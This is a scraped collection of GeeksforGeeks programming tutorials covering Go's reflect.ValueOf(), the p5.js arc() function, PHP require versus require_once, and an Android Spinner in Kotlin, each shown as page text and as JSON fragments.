"text": "Bellman–Ford Algorithm | DP-23"
}
] |
reflect.ValueOf() Function in Golang with Examples - GeeksforGeeks
|
03 May, 2020
Go language provides inbuilt support implementation of run-time reflection and allowing a program to manipulate objects with arbitrary types with the help of reflect package. The reflect.ValueOf() Function in Golang is used to get the new Value initialized to the concrete value stored in the interface i. To access this function, one needs to imports the reflect package in the program.
Syntax:
func ValueOf(i interface{}) Value
Parameters: This function takes the following parameters:
i: This parameter is the interface.
Return Value: This function returns the new Value initialized to the concrete value stored in the interface i.
Below examples illustrate the use of above method in Golang:
Example 1:
// Golang program to illustrate// reflect.ValueOf() Function package main import ( "fmt" "reflect") // Main functionfunc main() { a := []int{2, 5} var b reflect.Value = reflect.ValueOf(&a) b = b.Elem() fmt.Println("Slice :", a) //use of ValueOf method b = reflect.Append(b, reflect.ValueOf(80)) fmt.Println("Slice after appending data:", b) }
Output:
Slice : [2 5]
Slice after appending data: [2 5 80]
Example 2:
// Golang program to illustrate// reflect.ValueOf() Function package main import ( "fmt" "reflect") // Main function func main() { src := reflect.ValueOf([]int{10, 20, 32}) dest := reflect.ValueOf([]int{1, 2, 3}) // use of ValueOf() method fmt.Println(src, dest)}
Output:
[10 20 32] [1 2 3]
Golang-reflect
Go Language
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
6 Best Books to Learn Go Programming Language
strings.Replace() Function in Golang With Examples
Arrays in Go
How to Split a String in Golang?
fmt.Sprintf() Function in Golang With Examples
Golang Maps
Slices in Golang
Inheritance in GoLang
Different Ways to Find the Type of Variable in Golang
Interfaces in Golang
|
[
{
"code": null,
"e": 25587,
"s": 25559,
"text": "\n03 May, 2020"
},
{
"code": null,
"e": 25975,
"s": 25587,
"text": "Go language provides inbuilt support implementation of run-time reflection and allowing a program to manipulate objects with arbitrary types with the help of reflect package. The reflect.ValueOf() Function in Golang is used to get the new Value initialized to the concrete value stored in the interface i. To access this function, one needs to imports the reflect package in the program."
},
{
"code": null,
"e": 25983,
"s": 25975,
"text": "Syntax:"
},
{
"code": null,
"e": 26018,
"s": 25983,
"text": "func ValueOf(i interface{}) Value\n"
},
{
"code": null,
"e": 26076,
"s": 26018,
"text": "Parameters: This function takes the following parameters:"
},
{
"code": null,
"e": 26112,
"s": 26076,
"text": "i: This parameter is the interface."
},
{
"code": null,
"e": 26223,
"s": 26112,
"text": "Return Value: This function returns the new Value initialized to the concrete value stored in the interface i."
},
{
"code": null,
"e": 26284,
"s": 26223,
"text": "Below examples illustrate the use of above method in Golang:"
},
{
"code": null,
"e": 26295,
"s": 26284,
"text": "Example 1:"
},
{
"code": "// Golang program to illustrate// reflect.ValueOf() Function package main import ( \"fmt\" \"reflect\") // Main functionfunc main() { a := []int{2, 5} var b reflect.Value = reflect.ValueOf(&a) b = b.Elem() fmt.Println(\"Slice :\", a) //use of ValueOf method b = reflect.Append(b, reflect.ValueOf(80)) fmt.Println(\"Slice after appending data:\", b) } ",
"e": 26711,
"s": 26295,
"text": null
},
{
"code": null,
"e": 26719,
"s": 26711,
"text": "Output:"
},
{
"code": null,
"e": 26771,
"s": 26719,
"text": "Slice : [2 5]\nSlice after appending data: [2 5 80]\n"
},
{
"code": null,
"e": 26782,
"s": 26771,
"text": "Example 2:"
},
{
"code": "// Golang program to illustrate// reflect.ValueOf() Function package main import ( \"fmt\" \"reflect\") // Main function func main() { src := reflect.ValueOf([]int{10, 20, 32}) dest := reflect.ValueOf([]int{1, 2, 3}) // use of ValueOf() method fmt.Println(src, dest)}",
"e": 27082,
"s": 26782,
"text": null
},
{
"code": null,
"e": 27090,
"s": 27082,
"text": "Output:"
},
{
"code": null,
"e": 27110,
"s": 27090,
"text": "[10 20 32] [1 2 3]\n"
},
{
"code": null,
"e": 27125,
"s": 27110,
"text": "Golang-reflect"
},
{
"code": null,
"e": 27137,
"s": 27125,
"text": "Go Language"
},
{
"code": null,
"e": 27235,
"s": 27137,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 27281,
"s": 27235,
"text": "6 Best Books to Learn Go Programming Language"
},
{
"code": null,
"e": 27332,
"s": 27281,
"text": "strings.Replace() Function in Golang With Examples"
},
{
"code": null,
"e": 27345,
"s": 27332,
"text": "Arrays in Go"
},
{
"code": null,
"e": 27378,
"s": 27345,
"text": "How to Split a String in Golang?"
},
{
"code": null,
"e": 27425,
"s": 27378,
"text": "fmt.Sprintf() Function in Golang With Examples"
},
{
"code": null,
"e": 27437,
"s": 27425,
"text": "Golang Maps"
},
{
"code": null,
"e": 27454,
"s": 27437,
"text": "Slices in Golang"
},
{
"code": null,
"e": 27476,
"s": 27454,
"text": "Inheritance in GoLang"
},
{
"code": null,
"e": 27530,
"s": 27476,
"text": "Different Ways to Find the Type of Variable in Golang"
}
] |
p5.js | arc() Function - GeeksforGeeks
|
24 Oct, 2018
The arc() function is an inbuilt function in p5.js which is used to draw an arc. This function accepts seven parameters which are x-ordinate, y-ordinate, width, height, start, stop and an optional parameter mode.
Syntax:
arc(x, y, w, h, start, stop, mode)
Parameters: This function accepts seven parameters as mentioned above and described below:
x: This parameter is used to hold the value of x-coordinate of the arc of ellipse.
y: This parameter is used to hold the value of y-coordinate of the arc of ellipse.
w: This parameter takes the value of width of the arc of ellipse.
h: This parameter takes the value of height of the arc of ellipse.
start: This parameter takes the value of angle to start the arc, specified in radians.
stop: This parameter takes the value of angle to stop the arc, specified in radians.
mode: This is an optional parameter which determines the way of drawing the arc either CHORD, PIE or OPEN
Program 1: This program uses the DEFAULT mode.function setup() { createCanvas(400, 400);} function draw() { background('gray'); // Quarter arc at 150, 55 of height and width 290px arc(150, 55, 290, 290, 0, HALF_PI); fill('lightblue');}Output:
function setup() { createCanvas(400, 400);} function draw() { background('gray'); // Quarter arc at 150, 55 of height and width 290px arc(150, 55, 290, 290, 0, HALF_PI); fill('lightblue');}
Output:
Program 2: This program uses the OPEN mode.function setup() { createCanvas(400, 400);} function draw() { background(220); fill('lightgreen'); // An open arc at 150, 150 with radius 280 arc(150, 150, 280, 280, 0, PI + QUARTER_PI, OPEN); }Output:
function setup() { createCanvas(400, 400);} function draw() { background(220); fill('lightgreen'); // An open arc at 150, 150 with radius 280 arc(150, 150, 280, 280, 0, PI + QUARTER_PI, OPEN); }
Output:
Program 3: This program uses the CHORD mode.function setup() { createCanvas(400, 400);} function draw() { background(220); fill('orange'); // A chord-arc at 150, 150 with radius 280 arc(150, 150, 280, 280, 0, PI + QUARTER_PI, CHORD); } Output:
function setup() { createCanvas(400, 400);} function draw() { background(220); fill('orange'); // A chord-arc at 150, 150 with radius 280 arc(150, 150, 280, 280, 0, PI + QUARTER_PI, CHORD); }
Output:
Program 4: This program uses PIE mode.function setup() { createCanvas(400, 400);} function draw() { background(220); fill('blue'); // A pie-arc at 150, 150 with radius 280 arc(150, 150, 280, 280, 0, PI + QUARTER_PI, PIE); } Output:
function setup() { createCanvas(400, 400);} function draw() { background(220); fill('blue'); // A pie-arc at 150, 150 with radius 280 arc(150, 150, 280, 280, 0, PI + QUARTER_PI, PIE); }
Output:
References: https://p5js.org/reference/#/p5/arc
JavaScript-p5.js
Technical Scripter 2018
JavaScript
Technical Scripter
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Remove elements from a JavaScript Array
Convert a string to an integer in JavaScript
Difference between var, let and const keywords in JavaScript
Differences between Functional Components and Class Components in React
How to calculate the number of days between two dates in javascript?
Remove elements from a JavaScript Array
Installation of Node.js on Linux
Convert a string to an integer in JavaScript
How to fetch data from an API in ReactJS ?
Difference between var, let and const keywords in JavaScript
|
[
{
"code": null,
"e": 44963,
"s": 44935,
"text": "\n24 Oct, 2018"
},
{
"code": null,
"e": 45176,
"s": 44963,
"text": "The arc() function is an inbuilt function in p5.js which is used to draw an arc. This function accepts seven parameters which are x-ordinate, y-ordinate, width, height, start, stop and an optional parameter mode."
},
{
"code": null,
"e": 45184,
"s": 45176,
"text": "Syntax:"
},
{
"code": null,
"e": 45219,
"s": 45184,
"text": "arc(x, y, w, h, start, stop, mode)"
},
{
"code": null,
"e": 45310,
"s": 45219,
"text": "Parameters: This function accepts seven parameters as mentioned above and described below:"
},
{
"code": null,
"e": 45393,
"s": 45310,
"text": "x: This parameter is used to hold the value of x-coordinate of the arc of ellipse."
},
{
"code": null,
"e": 45476,
"s": 45393,
"text": "y: This parameter is used to hold the value of y-coordinate of the arc of ellipse."
},
{
"code": null,
"e": 45542,
"s": 45476,
"text": "w: This parameter takes the value of width of the arc of ellipse."
},
{
"code": null,
"e": 45609,
"s": 45542,
"text": "h: This parameter takes the value of height of the arc of ellipse."
},
{
"code": null,
"e": 45696,
"s": 45609,
"text": "start: This parameter takes the value of angle to start the arc, specified in radians."
},
{
"code": null,
"e": 45781,
"s": 45696,
"text": "stop: This parameter takes the value of angle to stop the arc, specified in radians."
},
{
"code": null,
"e": 45887,
"s": 45781,
"text": "mode: This is an optional parameter which determines the way of drawing the arc either CHORD, PIE or OPEN"
},
{
"code": null,
"e": 46149,
"s": 45887,
"text": "Program 1: This program uses the DEFAULT mode.function setup() { createCanvas(400, 400);} function draw() { background('gray'); // Quarter arc at 150, 55 of height and width 290px arc(150, 55, 290, 290, 0, HALF_PI); fill('lightblue');}Output:"
},
{
"code": "function setup() { createCanvas(400, 400);} function draw() { background('gray'); // Quarter arc at 150, 55 of height and width 290px arc(150, 55, 290, 290, 0, HALF_PI); fill('lightblue');}",
"e": 46358,
"s": 46149,
"text": null
},
{
"code": null,
"e": 46366,
"s": 46358,
"text": "Output:"
},
{
"code": null,
"e": 46629,
"s": 46366,
"text": "Program 2: This program uses the OPEN mode.function setup() { createCanvas(400, 400);} function draw() { background(220); fill('lightgreen'); // An open arc at 150, 150 with radius 280 arc(150, 150, 280, 280, 0, PI + QUARTER_PI, OPEN); }Output:"
},
{
"code": "function setup() { createCanvas(400, 400);} function draw() { background(220); fill('lightgreen'); // An open arc at 150, 150 with radius 280 arc(150, 150, 280, 280, 0, PI + QUARTER_PI, OPEN); }",
"e": 46842,
"s": 46629,
"text": null
},
{
"code": null,
"e": 46850,
"s": 46842,
"text": "Output:"
},
{
"code": null,
"e": 47112,
"s": 46850,
"text": "Program 3: This program uses the CHORD mode.function setup() { createCanvas(400, 400);} function draw() { background(220); fill('orange'); // A chord-arc at 150, 150 with radius 280 arc(150, 150, 280, 280, 0, PI + QUARTER_PI, CHORD); } Output:"
},
{
"code": "function setup() { createCanvas(400, 400);} function draw() { background(220); fill('orange'); // A chord-arc at 150, 150 with radius 280 arc(150, 150, 280, 280, 0, PI + QUARTER_PI, CHORD); } ",
"e": 47323,
"s": 47112,
"text": null
},
{
"code": null,
"e": 47331,
"s": 47323,
"text": "Output:"
},
{
"code": null,
"e": 47585,
"s": 47331,
"text": "Program 4: This program uses PIE mode.function setup() { createCanvas(400, 400);} function draw() { background(220); fill('blue'); // A pie-arc at 150, 150 with radius 280 arc(150, 150, 280, 280, 0, PI + QUARTER_PI, PIE); } Output:"
},
{
"code": "function setup() { createCanvas(400, 400);} function draw() { background(220); fill('blue'); // A pie-arc at 150, 150 with radius 280 arc(150, 150, 280, 280, 0, PI + QUARTER_PI, PIE); } ",
"e": 47794,
"s": 47585,
"text": null
},
{
"code": null,
"e": 47802,
"s": 47794,
"text": "Output:"
},
{
"code": null,
"e": 47850,
"s": 47802,
"text": "References: https://p5js.org/reference/#/p5/arc"
},
{
"code": null,
"e": 47867,
"s": 47850,
"text": "JavaScript-p5.js"
},
{
"code": null,
"e": 47891,
"s": 47867,
"text": "Technical Scripter 2018"
},
{
"code": null,
"e": 47902,
"s": 47891,
"text": "JavaScript"
},
{
"code": null,
"e": 47921,
"s": 47902,
"text": "Technical Scripter"
},
{
"code": null,
"e": 47938,
"s": 47921,
"text": "Web Technologies"
},
{
"code": null,
"e": 48036,
"s": 47938,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 48076,
"s": 48036,
"text": "Remove elements from a JavaScript Array"
},
{
"code": null,
"e": 48121,
"s": 48076,
"text": "Convert a string to an integer in JavaScript"
},
{
"code": null,
"e": 48182,
"s": 48121,
"text": "Difference between var, let and const keywords in JavaScript"
},
{
"code": null,
"e": 48254,
"s": 48182,
"text": "Differences between Functional Components and Class Components in React"
},
{
"code": null,
"e": 48323,
"s": 48254,
"text": "How to calculate the number of days between two dates in javascript?"
},
{
"code": null,
"e": 48363,
"s": 48323,
"text": "Remove elements from a JavaScript Array"
},
{
"code": null,
"e": 48396,
"s": 48363,
"text": "Installation of Node.js on Linux"
},
{
"code": null,
"e": 48441,
"s": 48396,
"text": "Convert a string to an integer in JavaScript"
},
{
"code": null,
"e": 48484,
"s": 48441,
"text": "How to fetch data from an API in ReactJS ?"
}
] |
When should one use require_once() vs require() in PHP ? - GeeksforGeeks
|
25 Aug, 2021
In this article, we will learn, when should one use the require_once() method and when to use require() method in PHP.
require() Method: PHP require() is a library or built-in function in PHP. It is generally used in situations where we want to include a file in the PHP code or program. The require() method will throw a fatal error if the file on the path specified is not found. It will also stop the execution of the content in case if any error occurs. By using require() users can include a file in a particular PHP code as many times as they want.
Syntax:
require('File_Name_With_Extension');
Example: The following file demonstrates the PHP require() method. It includes the “welcome.html” file content given below.
require.php
<?php require('welcome.html'); require('welcome.html'); ?>
The following is the content for file “welcome.html” used in the above PHP code.
welcome.html
<!DOCTYPE html><html> <body> <p>This file is included.</p> </body></html>
After running the “require.php” file,the following result is shown.
Output:
This file is included.
This file is included.
require_once(): PHP require_once() is also a library function in PHP. It is also used in a situation where we want to include a file in the PHP code or program. The require_once() will also throw a fatal error if the file on the path specified is not found. It will also stop the execution of the content in case any error occurs. By using require_once(), the user can include a file for ONCE in a particular PHP code.
Syntax:
require_once('File_Name_With_Extension');
Example: In the below example I have created two files i.e. “welcome.html” and “require_once.php”. The require_once() has been called twice and the file “welcome.html” is included only once.
require_once.php
<?php require_once('welcome.html'); require_once('welcome.html'); ?>
welcome.html
<!DOCTYPE html><html> <body> <p>This file is included only once!</p> </body> </html>
After running the “require_once.php” file,the following result is shown,
Output:
This file is included only once!
Difference between require() and require_once():
require()
require_once()
When should one use require_once vs. require?
The require() includes the files irrespective of whether the file has already been included within the web page or not. So, one can use the require() in case if you want to include the file contents again and again and are only concerned with delivering the output on the web page.
Whereas require_once() will include the file only once on the web page even if the function is called twice it will be executed only once while ignoring the second function call which will further result in minimization of loading time and complexity of the web page. So if you are concerned with delivering the output along with the loading time and complexity of the web page one should definitely use require_once().
PHP-function
PHP-Questions
Picked
PHP
Web Technologies
PHP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to fetch data from localserver database and display on HTML table using PHP ?
How to create admin login page using PHP?
PHP str_replace() Function
How to pass form variables from one page to other page in PHP ?
Create a drop-down list that options fetched from a MySQL database in PHP
Remove elements from a JavaScript Array
Installation of Node.js on Linux
Convert a string to an integer in JavaScript
Top 10 Projects For Beginners To Practice HTML and CSS Skills
Difference between var, let and const keywords in JavaScript
|
[
{
"code": null,
"e": 26217,
"s": 26189,
"text": "\n25 Aug, 2021"
},
{
"code": null,
"e": 26336,
"s": 26217,
"text": "In this article, we will learn, when should one use the require_once() method and when to use require() method in PHP."
},
{
"code": null,
"e": 26772,
"s": 26336,
"text": "require() Method: PHP require() is a library or built-in function in PHP. It is generally used in situations where we want to include a file in the PHP code or program. The require() method will throw a fatal error if the file on the path specified is not found. It will also stop the execution of the content in case if any error occurs. By using require() users can include a file in a particular PHP code as many times as they want."
},
{
"code": null,
"e": 26780,
"s": 26772,
"text": "Syntax:"
},
{
"code": null,
"e": 26817,
"s": 26780,
"text": "require('File_Name_With_Extension');"
},
{
"code": null,
"e": 26943,
"s": 26819,
"text": "Example: The following file demonstrates the PHP require() method. It includes the “welcome.html” file content given below."
},
{
"code": null,
"e": 26955,
"s": 26943,
"text": "require.php"
},
{
"code": "<?php require('welcome.html'); require('welcome.html'); ?>",
"e": 27032,
"s": 26955,
"text": null
},
{
"code": null,
"e": 27113,
"s": 27032,
"text": "The following is the content for file “welcome.html” used in the above PHP code."
},
{
"code": null,
"e": 27126,
"s": 27113,
"text": "welcome.html"
},
{
"code": "<!DOCTYPE html><html> <body> <p>This file is included.</p> </body></html>",
"e": 27205,
"s": 27126,
"text": null
},
{
"code": null,
"e": 27273,
"s": 27205,
"text": "After running the “require.php” file,the following result is shown."
},
{
"code": null,
"e": 27282,
"s": 27273,
"text": "Output: "
},
{
"code": null,
"e": 27328,
"s": 27282,
"text": "This file is included.\nThis file is included."
},
{
"code": null,
"e": 27747,
"s": 27328,
"text": "require_once(): PHP require_once() is also a library function in PHP. It is also used in a situation where we want to include a file in the PHP code or program. The require_once() will also throw a fatal error if the file on the path specified is not found. It will also stop the execution of the content in case any error occurs. By using require_once(), the user can include a file for ONCE in a particular PHP code."
},
{
"code": null,
"e": 27757,
"s": 27749,
"text": "Syntax:"
},
{
"code": null,
"e": 27799,
"s": 27757,
"text": "require_once('File_Name_With_Extension');"
},
{
"code": null,
"e": 27991,
"s": 27799,
"text": "Example: In the below example I have created two files i.e. “welcome.html” and “require_once.php”. The require_once() has been called twice and the file “welcome.html” is included only once. "
},
{
"code": null,
"e": 28008,
"s": 27991,
"text": "require_once.php"
},
{
"code": "<?php require_once('welcome.html'); require_once('welcome.html'); ?>",
"e": 28087,
"s": 28008,
"text": null
},
{
"code": null,
"e": 28100,
"s": 28087,
"text": "welcome.html"
},
{
"code": "<!DOCTYPE html><html> <body> <p>This file is included only once!</p> </body> </html>",
"e": 28191,
"s": 28100,
"text": null
},
{
"code": null,
"e": 28264,
"s": 28191,
"text": "After running the “require_once.php” file,the following result is shown,"
},
{
"code": null,
"e": 28273,
"s": 28264,
"text": "Output: "
},
{
"code": null,
"e": 28306,
"s": 28273,
"text": "This file is included only once!"
},
{
"code": null,
"e": 28355,
"s": 28306,
"text": "Difference between require() and require_once():"
},
{
"code": null,
"e": 28365,
"s": 28355,
"text": "require()"
},
{
"code": null,
"e": 28380,
"s": 28365,
"text": "require_once()"
},
{
"code": null,
"e": 28426,
"s": 28380,
"text": "When should one use require_once vs. require?"
},
{
"code": null,
"e": 28708,
"s": 28426,
"text": "The require() includes the files irrespective of whether the file has already been included within the web page or not. So, one can use the require() in case if you want to include the file contents again and again and are only concerned with delivering the output on the web page."
},
{
"code": null,
"e": 29128,
"s": 28708,
"text": "Whereas require_once() will include the file only once on the web page even if the function is called twice it will be executed only once while ignoring the second function call which will further result in minimization of loading time and complexity of the web page. So if you are concerned with delivering the output along with the loading time and complexity of the web page one should definitely use require_once()."
},
{
"code": null,
"e": 29141,
"s": 29128,
"text": "PHP-function"
},
{
"code": null,
"e": 29155,
"s": 29141,
"text": "PHP-Questions"
},
{
"code": null,
"e": 29162,
"s": 29155,
"text": "Picked"
},
{
"code": null,
"e": 29166,
"s": 29162,
"text": "PHP"
},
{
"code": null,
"e": 29183,
"s": 29166,
"text": "Web Technologies"
},
{
"code": null,
"e": 29187,
"s": 29183,
"text": "PHP"
},
{
"code": null,
"e": 29285,
"s": 29187,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 29367,
"s": 29285,
"text": "How to fetch data from localserver database and display on HTML table using PHP ?"
},
{
"code": null,
"e": 29409,
"s": 29367,
"text": "How to create admin login page using PHP?"
},
{
"code": null,
"e": 29436,
"s": 29409,
"text": "PHP str_replace() Function"
},
{
"code": null,
"e": 29500,
"s": 29436,
"text": "How to pass form variables from one page to other page in PHP ?"
},
{
"code": null,
"e": 29574,
"s": 29500,
"text": "Create a drop-down list that options fetched from a MySQL database in PHP"
},
{
"code": null,
"e": 29614,
"s": 29574,
"text": "Remove elements from a JavaScript Array"
},
{
"code": null,
"e": 29647,
"s": 29614,
"text": "Installation of Node.js on Linux"
},
{
"code": null,
"e": 29692,
"s": 29647,
"text": "Convert a string to an integer in JavaScript"
},
{
"code": null,
"e": 29754,
"s": 29692,
"text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills"
}
] |
Spinner in Kotlin - GeeksforGeeks
|
28 Mar, 2022
Android Spinner is a view similar to dropdown list which is used to select one option from the list of options. It provides an easy way to select one item from the list of items and it shows a dropdown list of all values when we click on it.
Default value of the android spinner will be currently selected value and by using Adapter we can easily bind the items to spinner object.Generally, we populate our Spinner control with list of items by using an ArrayAdapter in our Kotlin file.
First we create a new project by following the below steps:
Click on File, then New => New Project.After that include the Kotlin support and click on next.Select the minimum SDK as per convenience and click next button.Then select the Empty activity => next => finish.
Click on File, then New => New Project.
After that include the Kotlin support and click on next.
Select the minimum SDK as per convenience and click next button.
Then select the Empty activity => next => finish.
In this file, we use the TextView and Spinner widgets and also set their attributes.
XML
<?xml version="1.0" encoding="utf-8"?><LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent" android:id="@+id/linear_layout" android:gravity = "center"> <TextView android:id="@+id/txtView" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Select language:" android:textSize = "20dp" /> <Spinner android:id="@+id/spinner" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignBottom="@id/txtView"/> </LinearLayout>
Here, we update the name of the application using the string tag. We also create the list of the items which will be used in the dropdown menu.
XML
<resources> <string name="app_name">SpinnerInKotlin</string> <string name="selected_item">Selected item:</string> <string-array name="Languages"> <item>Java</item> <item>Kotlin</item> <item>Swift</item> <item>Python</item> <item>Scala</item> <item>Perl</item> </string-array></resources>
First, we declare a variable languages to access the strings items from the strings.xmnl file.
val languages = resources.getStringArray(R.array.Languages)
then, we access the spinner and set ArrayAdaptor to control the list of items.
val spinner = findViewById(R.id.spinner)
if (spinner != null) {
val adapter = ArrayAdapter(this,
android.R.layout.simple_spinner_item, languages)
spinner.adapter = adapter
Kotlin
package com.geeksforgeeks.myfirstkotlinapp import androidx.appcompat.app.AppCompatActivityimport android.os.Bundleimport android.view.Viewimport android.widget.* class MainActivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) // access the items of the list val languages = resources.getStringArray(R.array.Languages) // access the spinner val spinner = findViewById<Spinner>(R.id.spinner) if (spinner != null) { val adapter = ArrayAdapter(this, android.R.layout.simple_spinner_item, languages) spinner.adapter = adapter spinner.onItemSelectedListener = object : AdapterView.OnItemSelectedListener { override fun onItemSelected(parent: AdapterView<*>, view: View, position: Int, id: Long) { Toast.makeText(this@MainActivity, getString(R.string.selected_item) + " " + "" + languages[position], Toast.LENGTH_SHORT).show() } override fun onNothingSelected(parent: AdapterView<*>) { // write code to perform some action } } } }}
XML
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"package="com.geeksforgeeks.myfirstkotlinapp"> <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/AppTheme"> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity></application> </manifest>
anikaseth98
ayushpandey3july
Kotlin Android
Kotlin
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Android RecyclerView in Kotlin
Retrofit with Kotlin Coroutine in Android
How to Get Current Location in Android?
Kotlin Android Tutorial
Kotlin when expression
Android Menus
ImageView in Android with Example
How to Build a Weather App in Android?
MVP (Model View Presenter) Architecture Pattern in Android with Example
|
[
{
"code": null,
"e": 25414,
"s": 25386,
"text": "\n28 Mar, 2022"
},
{
"code": null,
"e": 25656,
"s": 25414,
"text": "Android Spinner is a view similar to dropdown list which is used to select one option from the list of options. It provides an easy way to select one item from the list of items and it shows a dropdown list of all values when we click on it."
},
{
"code": null,
"e": 25901,
"s": 25656,
"text": "Default value of the android spinner will be currently selected value and by using Adapter we can easily bind the items to spinner object.Generally, we populate our Spinner control with list of items by using an ArrayAdapter in our Kotlin file."
},
{
"code": null,
"e": 25961,
"s": 25901,
"text": "First we create a new project by following the below steps:"
},
{
"code": null,
"e": 26170,
"s": 25961,
"text": "Click on File, then New => New Project.After that include the Kotlin support and click on next.Select the minimum SDK as per convenience and click next button.Then select the Empty activity => next => finish."
},
{
"code": null,
"e": 26210,
"s": 26170,
"text": "Click on File, then New => New Project."
},
{
"code": null,
"e": 26267,
"s": 26210,
"text": "After that include the Kotlin support and click on next."
},
{
"code": null,
"e": 26332,
"s": 26267,
"text": "Select the minimum SDK as per convenience and click next button."
},
{
"code": null,
"e": 26382,
"s": 26332,
"text": "Then select the Empty activity => next => finish."
},
{
"code": null,
"e": 26467,
"s": 26382,
"text": "In this file, we use the TextView and Spinner widgets and also set their attributes."
},
{
"code": null,
"e": 26471,
"s": 26467,
"text": "XML"
},
{
"code": "<?xml version=\"1.0\" encoding=\"utf-8\"?><LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\" android:orientation=\"vertical\" android:layout_width=\"match_parent\" android:layout_height=\"match_parent\" android:id=\"@+id/linear_layout\" android:gravity = \"center\"> <TextView android:id=\"@+id/txtView\" android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:text=\"Select language:\" android:textSize = \"20dp\" /> <Spinner android:id=\"@+id/spinner\" android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:layout_alignBottom=\"@id/txtView\"/> </LinearLayout>",
"e": 27172,
"s": 26471,
"text": null
},
{
"code": null,
"e": 27316,
"s": 27172,
"text": "Here, we update the name of the application using the string tag. We also create the list of the items which will be used in the dropdown menu."
},
{
"code": null,
"e": 27320,
"s": 27316,
"text": "XML"
},
{
"code": "<resources> <string name=\"app_name\">SpinnerInKotlin</string> <string name=\"selected_item\">Selected item:</string> <string-array name=\"Languages\"> <item>Java</item> <item>Kotlin</item> <item>Swift</item> <item>Python</item> <item>Scala</item> <item>Perl</item> </string-array></resources>",
"e": 27664,
"s": 27320,
"text": null
},
{
"code": null,
"e": 27759,
"s": 27664,
"text": "First, we declare a variable languages to access the strings items from the strings.xmnl file."
},
{
"code": null,
"e": 27820,
"s": 27759,
"text": "val languages = resources.getStringArray(R.array.Languages)\n"
},
{
"code": null,
"e": 27899,
"s": 27820,
"text": "then, we access the spinner and set ArrayAdaptor to control the list of items."
},
{
"code": null,
"e": 28120,
"s": 27899,
"text": "val spinner = findViewById(R.id.spinner)\n if (spinner != null) {\n val adapter = ArrayAdapter(this,\n android.R.layout.simple_spinner_item, languages)\n spinner.adapter = adapter\n"
},
{
"code": null,
"e": 28127,
"s": 28120,
"text": "Kotlin"
},
{
"code": "package com.geeksforgeeks.myfirstkotlinapp import androidx.appcompat.app.AppCompatActivityimport android.os.Bundleimport android.view.Viewimport android.widget.* class MainActivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) // access the items of the list val languages = resources.getStringArray(R.array.Languages) // access the spinner val spinner = findViewById<Spinner>(R.id.spinner) if (spinner != null) { val adapter = ArrayAdapter(this, android.R.layout.simple_spinner_item, languages) spinner.adapter = adapter spinner.onItemSelectedListener = object : AdapterView.OnItemSelectedListener { override fun onItemSelected(parent: AdapterView<*>, view: View, position: Int, id: Long) { Toast.makeText(this@MainActivity, getString(R.string.selected_item) + \" \" + \"\" + languages[position], Toast.LENGTH_SHORT).show() } override fun onNothingSelected(parent: AdapterView<*>) { // write code to perform some action } } } }}",
"e": 29472,
"s": 28127,
"text": null
},
{
"code": null,
"e": 29476,
"s": 29472,
"text": "XML"
},
{
"code": "<?xml version=\"1.0\" encoding=\"utf-8\"?><manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"package=\"com.geeksforgeeks.myfirstkotlinapp\"> <application android:allowBackup=\"true\" android:icon=\"@mipmap/ic_launcher\" android:label=\"@string/app_name\" android:roundIcon=\"@mipmap/ic_launcher_round\" android:supportsRtl=\"true\" android:theme=\"@style/AppTheme\"> <activity android:name=\".MainActivity\"> <intent-filter> <action android:name=\"android.intent.action.MAIN\" /> <category android:name=\"android.intent.category.LAUNCHER\" /> </intent-filter> </activity></application> </manifest>",
"e": 30131,
"s": 29476,
"text": null
},
{
"code": null,
"e": 30145,
"s": 30133,
"text": "anikaseth98"
},
{
"code": null,
"e": 30162,
"s": 30145,
"text": "ayushpandey3july"
},
{
"code": null,
"e": 30177,
"s": 30162,
"text": "Kotlin Android"
},
{
"code": null,
"e": 30184,
"s": 30177,
"text": "Kotlin"
},
{
"code": null,
"e": 30282,
"s": 30184,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 30313,
"s": 30282,
"text": "Android RecyclerView in Kotlin"
},
{
"code": null,
"e": 30355,
"s": 30313,
"text": "Retrofit with Kotlin Coroutine in Android"
},
{
"code": null,
"e": 30395,
"s": 30355,
"text": "How to Get Current Location in Android?"
},
{
"code": null,
"e": 30419,
"s": 30395,
"text": "Kotlin Android Tutorial"
},
{
"code": null,
"e": 30442,
"s": 30419,
"text": "Kotlin when expression"
},
{
"code": null,
"e": 30456,
"s": 30442,
"text": "Android Menus"
},
{
"code": null,
"e": 30490,
"s": 30456,
"text": "ImageView in Android with Example"
},
{
"code": null,
"e": 30529,
"s": 30490,
"text": "How to Build a Weather App in Android?"
}
] |
Cmdparse module in Python - GeeksforGeeks
|
28 Feb, 2022
